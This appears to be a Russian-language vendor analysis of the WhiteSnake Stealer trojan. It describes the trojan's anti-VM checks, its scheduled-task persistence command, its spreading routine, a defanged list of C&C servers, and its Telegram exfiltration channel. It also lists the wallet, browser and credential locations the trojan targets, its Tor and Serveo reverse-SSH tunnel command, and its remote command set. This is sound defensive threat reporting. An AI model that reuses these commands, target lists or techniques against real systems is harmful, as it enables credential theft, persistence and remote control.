Упаковщик: .NET Reactor
SHA1-хеш:
- 9b75ef8a67b412122e03a8209c5d46ea5a8cd957 (оригинальное имя файла: «Дополнительные материалы, перечень вопросов, накладные и первичные документы.exe»)
Описание
Троянская программа, также известная как WhiteSnake Stealer. Написана на языке .NET и нацелена на компьютеры под управлением ОС семейства Microsoft Windows. Злоумышленники используют ее для кражи учетных записей от различного ПО, а также других данных. Кроме того, она позволяет загружать и запускать в инфицированной системе другие приложения.
Принцип действия
Проверка запуска на виртуальных машинах
Перед заражением целевой системы троян проверяет среду исполнения, пытаясь обнаружить факт своего запуска в виртуальной машине. Данная проверка выполняется через обращение к интерфейсу WMI. Для этого в пространстве имен \root\CIMV2 используются сущность Win32_ComputerSystem, которая содержит информацию о характеристиках компьютера и установленной на нем операционной системе.
В этой структуре проверяются поля Model и Manufacturer на наличие в них следующих строк:
- virtual
- vmbox
- vmware
- thinapp
- VMXh
- innotek gmbh
- tpvcgateway
- tpautoconnsvc
- vbox
- kvm
- red hat
- qemu
Указанные поля соответствуют следующей информации:
- Model ― имя, присвоенное компьютеру производителем;
- Manufacturer ― название производителя компьютера.
При обнаружении виртуальной машины троян завершает свою работу.
Закрепление в системе
Троян копирует себя в каталог %LOCALAPPDATA%/WindowsSecurity/. Далее он выполняет команду вида
cmd.exe /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "<SAMPLE>" /sc MINUTE /tr "%LOCALAPPDATA%\WindowsSecurity\<SAMPLE.EXE>" /rl HIGHEST /f && DEL /F /S /Q /A "<PATH_SAMPLE.EXE>" && START "" "%LOCALAPPDATA%\WindowsSecurity\<SAMPLE.EXE>
где SAMPLE ― имя скопированного ранее исполняемого файла вредоносного приложения.
Эта команда выполняет следующие действия:
- Замена кодировки в консоли на 65001 (Unicode).
- Проверка доступности локального хоста.
- Создание задачи с использованием следующих параметров:
- tn ― имя задачи;
- tr ― путь до задачи;
- sc ― тип расписания ― MINUTE;
- rl ― привилегии запуска ― HIGHEST (если запуск трояна выполнялся без привилегий администратора, используется значение LIMITED);
- f ― создать задачу и отключить предупреждения, если указанная задача уже существует.
- Удаление текущего файла, из которого запускался троян.
- Запуск трояна из %LOCALAPPDATA%\WindowsSecurity\<SAMPLE.EXE>.
Распространение
В зависимости от конфигурации троян способен распространяться следующими способами:
- заражение учетных записей локальных пользователей;
- заражение съемных устройств.
При заражении учетных записей локальных пользователей троян обращается к интерфейсу WMI и в пространстве имен \root\CIMV2 использует сущность Win32_UserAccount, которая содержит информацию об учетных записях. С помощью этой структуры троян получает полный список пользователей инфицированной системы. Далее вредоносная программа копирует себя в директорию startup каждого пользователя.
При заражении съемных устройств троян получает список всех дисков в системе. Если какой-либо из обнаруженных дисков является съемным, вредоносная программа копирует себя в его корневую директорию.
Сбор системной информации
Первый сетевой пакет, который троян отправляет на С&С-сервер с момента заражения, содержит системную информацию и результат выполнения задач. Более подробно выполняемые задачи будут описаны в соответствующем пункте.
Ниже приведен пример данных, передаваемых в этом пакете.
Имя параметра (Key) | Содержимое (Value) | Способ получения |
---|---|---|
Username | Имя пользователя | Из переменного окружения UserName; знаки пробела заменяются символом _. |
Compname | Имя данного компьютера | Из переменного окружения COMPUTERNAME; знаки пробела заменяются символом _. |
OS | Версия операционной системы | Из структуры OSVERSIONINFO. |
Tag | res1110myformish | Константа, является идентификатором сборки трояна. |
IP | IP-адрес зараженного компьютера | Из ответа, поступившего на обращение к сервису hxxp://ip-api[.]com/line?fields=query,country. |
Screen size | Разрешение экрана в формате <width>x<height> | * |
CPU | Имя процессора | Из пространства имен \root\CIMV2 ― сущности Win32_Processor ― поля Name. |
GPU | Имя видеоконтроллера | Из пространства имен \root\CIMV2 ― сущности Win32_VideoController ― поля Name. |
RAM | Размер оперативной памяти, ГБ | Из пространства имен \root\CIMV2 ― сущности Win32_ComputerSystem ― поля TotalPhysicalMemory. |
Disk | Размер дисков, ГБ | Из пространства имен \root\CIMV2 ― сущности Win32_LogicalDisk. |
Model | Имя, присвоенное компьютеру производителем (имя модели ПК) | Из пространства имен \root\CIMV2 ― сущности Win32_ComputerSystem ― поля Model. |
Manufacturer | Имя производителя ПК | Из пространства имен \root\CIMV2 ― сущности Win32_ComputerSystem ― поля Manufacturer. |
Beacon | Вид прокси | Константа, имеет значение serveo, либо tor. |
Stub version | 1.6.1.3 | Константа, означающая версию сборки трояна. |
ExeeD | Путь до текущего запущенного файла | * |
Execution timestamp | Текущее время | * |
Screenshot | Скриншот, закодированный с помощью base64 | * |
LoadedAssemblies | Список загруженных dll-библиотек у текущего процесса | * |
RunningProcesses | Список запущенных процессов | * |
InstalledApplications | Список установленных приложений | Из ветви реестра SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall DisplayName. |
Для полей, помеченных *, способом получения данных является вызов стандартных функций и алгоритмов для языка С#.
Этот пакет представляет собой XML-форму следующего вида:
<Report xmlns:xsd="{http://www.w3.org/2001/XMLSchema"} xmlns:xsi="{http://www.w3.org/2001/XMLSchema-instance"}>
<files>
<file filename="" filedata="" filesize="" createdDate="" modifiedDate="" />
...
</files>
<information>
<information key=$key_name value=$value />
<information key=$key_name value=$value />
...
</information>
</Report>
где:
- $key_name и $value ― соответствующие поля из таблицы;
- files ― содержит информацию о файлах криптокошельков, файлах с сессиями, логах, паролях.
Отправляемый пакет шифруется с помощью алгоритма RSA. Публичный ключ для шифрования встроен в троян в виде XML-формы и имеет следующий вид:
<RSAKeyValue>
<Modulus> qFKhw3Pbm+8iRzI/nVQppO1DlMBuIXV8x/mcTZJKMCT2MwkzUVD77VLFac3GGj5/vkbipjQP/gdeYSBHxr2KMNKgV8xfzlB5Az+dC3Rgy/bvO9DohGFnEx1CG7NJRuVt/gjy8gWeSOarnkEQIewXx/+D+xN4Fd4NWguHvPhUguI19kFpPx8f9U2/iv9CsctWvknAFadSd0uiNCvi2RIZQIcpFiUElxAezaZfL1w8BZ5vY/Hi/dstLEUyKqEoxq2ch+LIqTZoLYxkojfdOOyGoWgwY4NO7n5z5akqm9wFU00J7MhcbjhkfUPE/Yy6LXI8Q74CcIJqMYRRaNuwChLWLQ==
</Modulus>
<Exponent>
AQAB
</Exponent>
</RSAKeyValue>
Отправка результатов выполнения задач производится как на один из C&C-серверов, так и в отдельный Telegram-чат.
Особенность отправки данных на C&C-сервер
Для выбора IP-адреса C&C-сервера троян отправляет пакет на каждый адрес из имеющегося списка до тех пор, пока передача не окажется успешной. Список адресов:
hxxp[:]//213[.]232.255.61:8080
hxxp[:]//88[.]99.71.225:8080
hxxp[:]//51[.]178.53.191:8080
hxxp[:]//78[.]46.66.9:8080
hxxp[:]//135[.]181.206.12:8080
hxxp[:]//217[.]145.238.175:80
hxxps[:]//164[.]90.185.9:443
hxxp[:]//94[.]156.6.209:80
hxxp[:]//104[.]248.253.214:80
hxxp[:]//141[.]94.175.31:8098
hxxp[:]//34[.]207.71.126:80
hxxp[:]//192[.]99.44.107:8080
hxxp[:]//107[.]161.20.142:8080
hxxp[:]//52[.]86.18.77:8080
hxxps[:]//192[.]99.196.191:443
hxxp[:]//216[.]250.190.139:80
hxxp[:]//205[.]185.123.66:8080
hxxp[:]//52[.]26.63.10:9999
hxxp[:]//24[.]199.110.250:8080
hxxp[:]//45[.]55.65.93:80
hxxp[:]//139[.]99.123.53:9191
hxxps[:]//44[.]228.161.50:443
hxxp[:]//162[.]33.178.113:80
hxxp[:]//167[.]71.106.175:80
hxxp[:]//45[.]76.190.214:1024
hxxp[:]//154[.]31.165.232:80
hxxp[:]//168[.]138.211.88:8099
hxxps[:]//52[.]193.176.117:443
hxxps[:]//52[.]196.241.27:443
hxxps[:]//54[.]249.142.23:443
hxxp[:]//121[.]63.250.132:88
Формирование запроса выполняется следующим образом:
- Метод отправки: PUT.
- Формирование маршрута: <rand_str>_<username>@<compname>_report.wsr, где:
- <rand_str> ― случайная строка длиной в 5 знаков;
- <username> ― имя пользователя;
- <compname> ― имя данного компьютера.
- Отправка осуществляется в виде загрузки файла.
Особенность отправки данных в чат Telegram
Формируется следующее сообщение:
#res1110myformish #Wallets #Beacon
<b>OS:</b> <i><Операционная система></i>
<b>Country:</b> <i><Страна></i>
<b>Username:</b> <i><Имя учетной записи Windows пользователя></i>
<b>Compname:</b> <i><Имя компьютера></i>
<b>Report size:</b> <размер отправленного XML>Mb
Для отправки пакета используется Telegram API. Основанная ссылка, содержащая API token:
hxxps[:]//api[.]telegram[.]org/bot660*******:AAHL********_******UfVtaKSR2*******
К этой ссылке добавляются следующие параметры запроса:
- chat_id=****91**** ― константа из конфигурации вредоносного приложения;
- text=hexlify(data) ― содержит текст сообщения (описано выше); данные преобразуются с помощью функции hexlify;
- reply_markup= ― содержит json, преобразованный с помощью функции hexlify;
- parse_mode=HTML.
Данные из json:
{
"inline_keyboard": [
[
{
"text": "Download",
"url": ,
},
{
"text": "Open",
"url":
}
]
]
}
где:
- <c2_response> ― ответ C&C-сервера на отправленный отчет;
- <url> ― адрес hxxp[:]//127[.]0.0.1:18772/handleOpenWSR?r=<c2_response>.
Задачи, выполняемые при сборе информации
Троян содержит XML-форму со списком задач по сбору данных. Она состоит из блоков задач вида:
<command name="0">
<args>
<string>...</string>
...
</args>
</command>
где:
- name ― тип выполняемой задачи;
- args ― список аргументов для задачи.
Собираемые данные
Сбор данных по регулярным выражениям ― в искомой директории выполняется сбор данных по регулярному выражению.
Путь до директории Регулярные выражения %AppData%\Authy Desktop\Local Storage\leveldb * %AppData%\dolphin_anty db.json %USERPROFILE%\OpenVPN\config *\*.ovpn %AppData%\WinAuth *.xml %AppData%\obs-studio\basic\profiles *\service.json %AppData%\FileZilla sitemanager.xml
recentservers.xml%LocalAppData%\AzireVPN token.txt %USERPROFILE%\snowflake-ssh session-store.json %ProgramFiles(x86)%\Steam ssfn*
config\*.vdf%Appdata%\Discord\Local Storage\leveldb *.l?? %AppData%\The Bat! ACCOUNT.??? %SystemDrive% Account.rec0 %AppData%\Signal config.json
sql\db.sqlite%AppData%\Session config.json
sql\db.sqlite%AppData%\tox *.db
*.tox
*.ini
*.json
*.hstr
%AppData%\.purple accounts.xml %AppData%\ledger live app.json %AppData%\atomic\Local Storage\leveldb *.l?? %AppData%\WalletWasabi\Client\Wallets *.json %AppData%\Binance *.json %AppData%\Guarda\Local Storage\leveldb *.l?? %LocalAppData%\Coinomi\Coinomi\wallets *.wallet %AppData%\Bitcoin\wallets *\*wallet* %AppData%\Electrum\wallets * %AppData%\Electrum-LTC\wallets * %AppData%\Zcash *wallet*dat %AppData%\Exodus exodus.conf.json
exodus.wallet\*.seco%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb .l?? %AppData%\Jaxx\Local Storage\leveldb .l?? %UserProfile%\Documents\Monero\wallets *\* %AppData%\MyMonero FundsRequests*
PasswordMeta*
Wallets*%UserProfile%\Desktop *.txt
*.doc*
*.xls*
*.kbd*
*.pdf%UserProfile%\Downloads *.txt
*.doc*
*.xls*
*.kbd*
*.pdf%AppData%\Telegram Desktop\tdata *s;????????????????\*s Сбор профилей пользователя ― из заданной директории копируются все данные:
Путь до директории %AppData%\Google\Chrome\Profiles %AppData%\Yandex\YandexBrowser\Profiles %AppData%\Vivaldi\Profiles %AppData%\CocCoc\Browser\Profiles %AppData%\CentBrowser\Profiles %AppData%\BraveSoftware\Brave-Browser\Profiles %AppData%\Chromium\Profiles %AppData%\Microsoft\Edge\Profiles %AppData%\Opera Software\Opera Stable %AppData%\Opera Software\Opera GX Stable %Appdata%\Discord %LocalAppdata%\Mozilla\Firefox\Profiles %LocalAppdata%\Thunderbird\Profiles Сбор информации о криптокошельках. Список криптокошельков, интересующих злоумышленников:
Имя криптокошелька Идентификатор соответствующего браузерного плагина Metamask nkbihfbeogaeaoehlefnkodbefgpgknn Ronin fnjhmkhhmkbjkkabndcnnogagogbneec BinanceChain fhbohimaelbohpjbbldcngcnapndodjp TronLink ibnejdfjmmkpcnlpebklmnkoeoihofec Phantom bfnaelmomeimhlpmgjnjophhpkkoljpa Сбор данных из реестра:
Ключ реестра Собираемые значения SOFTWARE\Martin Prikryl\WinSCP 2\Sessions\* HostName
UserName
PasswordSOFTWARE\FTPWare\CoreFTP\Sites\* Host
Port
User
PWSOFTWARE\Windscribe\Windscribe2 userId
authHash
Регистрация кейлоггера
Изначальная регистрация кейлоггера выполняется при старте трояна. Его дальнейшее взаимодействие с кейлоггером осуществляется через поступающие от C&C-сервера команды. Данные о нажатых клавишах сохраняются в память вредоносной программы.
Выполнение команд
Перед началом выполнения команд троян устанавливает прокси-сервер. В конфигурации вредоносного приложения имеется поле, отвечающее за его тип:
- serveo ― прокси с использованием протокола SSH и сервиса Serveo;
- tor ― прокси с использованием сети Tor.
Информация о типе используемого прокси передается на C&C-сервер в первом сетевом пакете вместе с информацией о системе и содержится в поле Beacon.
Прокси-сервер на основе протокола Tor
Троян проверяет, было ли ранее загружено приложение Tor. Проверка выполняется по наличию файла %LOCALAPPDATA%/9hyfy7lwm1/tor\tor-real.exe. Если программа отсутствует, троян загружает ее по ссылке hxxps[:]//github[.]com/matinrco/tor/releases/download/v0.4.5.10/tor-expert-bundle-v0.4.5.10.zip.
Далее он создает конфигурационный файл %LOCALAPPDATA%/9hyfy7lwm1/tor\torrc.txt для Tor, имеющий следующий вид:
SOCKSPort <port> + 1
ControlPort <port> + 2
DataDirectory %LOCALAPPDATA%/9hyfy7lwm1/tor/data
HiddenServiceDir %LOCALAPPDATA%/9hyfy7lwm1/tor/host
HiddenServicePort 80 127.0.0.1:<port>
HiddenServiceVersion 3
где <port> ― номер порта, на котором открыт Tor.
Затем троян запускает приложение командой %LOCALAPPDATA%/9hyfy7lwm1/tor\tor-real.exe -f '%LOCALAPPDATA%/9hyfy7lwm1/tor\torrc.txt.
Прокси-сервер на основе протокола SSH и сервиса Serveo
Троян проверяет, был ли ранее загружен инструмент OpenSSH. Проверка выполняется через обращение к ключу реестра Windows SOFTWARE\OpenSSH. Если этого ключа нет, троян загружает zip-архив с приложением по ссылке hxxps[:]//github[.]com/PowerShell/Win32-OpenSSH/releases/download/v9.2.2.0p1-Beta/OpenSSH-Win32.zip и помещает его в %TEMP%/ssh-000.zip. Далее он распаковывает архив и запускает OpenSSH следующей командой:
ssh.exe -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:1233 serveo[.]net
где:
- o ― options ― параметры запуска;
- R ― address ― адрес сервера Serveo.
Выполняемые трояном команды
После инициализации прокси-сервера троян создает httpListner и подключается к созданному серверу. Далее он ожидает поступления команд.
Список доступных трояну команд:
Имя команды | Описание |
---|---|
PING |
Формируется ответ С&C-серверу следующего вида: PONG >> <title> >> <keys> >> 0, где:
|
UNINSTALL |
Удаление трояна из зараженной системы:
|
REFRESH | Повторный сбор системной информации и данных пользователя. |
SCREENSHOT | Создается снимок экрана. |
NETDISCOVER | Создается отдельный поток для сканирования локальной сети. |
DPAPI <data> | Троян расшифровывает данные пользователя, которые ранее были переданы на C&C-сервер и могут быть легко расшифрованы только на стороне зараженного компьютера. Шифрованные данные приходят через аргумент. |
WEBCAM | Создается снимок с веб-камеры. |
COMPRESS <file_name> | Заданный файл помещается в zip-архив. Имя целевого файла передается аргументом. |
DECOMPRESS <file_name> | Файл извлекается из заданного zip-архива. Имя целевого архива передается аргументом. |
TRANSFER | Не реализовано. |
GET_FILE <file_name> | Троян получает содержимое заданного файла. Имя файла передается аргументом. |
LIST_FILES | Выполняется листинг текущей директории. |
LIST_PROCESSES | Троян формирует список запущенных процессов. |
EXPOSE <ip> <port> <http_version> |
Троян запускает SSH-сессию. Аргументами являются:
|
PROXY_SETUP | Троян разворачивает SOCKS5-прокси в зараженной системе:
|
KEYLOGGER START | Запускает кейлоггер. |
KEYLOGGER STOP | Останавливает кейлоггер. |
KEYLOGGER VIEW | Получает записанные кейлоггером данные. |
LOADEXEC <url> | Скачивает файл и запускает его. Аргументом является ссылка на этот файл. |
LOADER <url> | Скачивает файл. Аргументом является ссылка на него. |
cd <path> | Смена текущей директории. Аргументом является путь для этой смены. |